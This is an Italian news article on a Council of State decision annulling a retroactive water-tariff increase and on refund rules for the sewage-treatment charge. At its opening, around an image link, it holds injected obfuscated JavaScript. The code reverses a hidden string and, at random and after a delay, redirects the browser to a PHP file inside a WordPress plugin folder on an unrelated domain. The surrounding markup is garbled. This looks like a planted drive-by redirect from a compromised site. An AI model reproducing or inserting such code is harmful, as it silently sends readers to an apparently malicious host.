Acqua, sulle tariffe il Consiglio di stato premia i cittadini e boccia i privati

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/03/acqua.jpeg”>Non è possibile aumentare le tariffe del servizio idrico per a neutralizzare gli effetti della sentenza 335/2008 della Corte costituzionale che ha bocciato il canone di depurazione nelle zone non servite. È quanto affermato dal Consiglio di Stato con la decisione 3920/2011, che ha dichiarato l’illegittimità di una delibera tariffaria adottata da un’Ato per fronteggiare gli effetti della pronuncia della Consulta.

In particolare, il provvedimento censurato dai giudici amministrativi prevedeva diversi punti: l’aumento della tariffa acquedotto e la corrispondente riduzione della tariffa domestica per i residenti, l’adeguamento e la modifica delle tariffe relative ad altre categorie di utenza, la riarticolazione delle tariffe di fognatura e depurazione e incremento una tantum della quota fissa per tutti gli utenti. Il tutto con una delibera adottata a febbraio 2009 ma con decorrenza 15 ottobre 2008, data di pubblicazione della sentenza della Consulta.

In primo grado il Tar Toscana aveva affermato che la delibera presentava un chiaro contenuto retroattivo nella misura in cui faceva decorrere i propri effetti, per l’anno 2008, dal 15 ottobre. In realtà la delibera era finalizzata a coprire i costi per i servizi sostenuti nei periodi indicati e non più coperti dalla tariffa a causa dei minori ricavi derivanti dalla perdita della quota per la depurazione. La misura compensativa, ancorché introdotta in via straordinaria, doveva pertanto ritenersi illegittima. Il Consiglio di Stato conferma questa lettura. La regola di irretroattività dell’azione amministrativa è espressione dell’esigenza di garantire la certezza dei rapporti giuridici, oltre che del principio di legalità.

A fare da sfondo alla decisione dei giudici di Palazzo Spada è proprio la pronuncia 335/2008, che ha escluso la natura tributaria del canone di depurazione sancendo il diritto a ottenere il rimborso di quanto indebitamente pagato. La legge 13/2009 ha frenato l’emorragia di risorse consentendo ai gestori di continuare a pretendere il canone per tutti gli investimenti individuati nei piani d’ambito (la «quota vincolata»). Il Dm 30/9/2009 ha poi stabilito i criteri per determinare i rimborsi, richiamando nelle premesse l’orientamento «prevalente» della Corte dei conti favorevole alla prescrizione quinquennale: In realtà diverse sezioni hanno deciso diversamente e la questione (cinque oppure otto anni rimborsabili) non è stata chiarita neppure dalle Sezioni Riunite. Tuttavia il vertice della giustizia contabile, su una questione diversa, ha evidenziato la portata retroattiva delle sentenze di illegittimità costituzionale, che deve risalire al momento di entrata in vigore della norma caducata (delibera 62/2010). Una chiave di lettura che mette in discussione il Dm 30/9/2009 e porta alla conclusione favorevole ai rimborsi sino all’ottobre 2000.

di G.Deb. per il Sole 24 Ore

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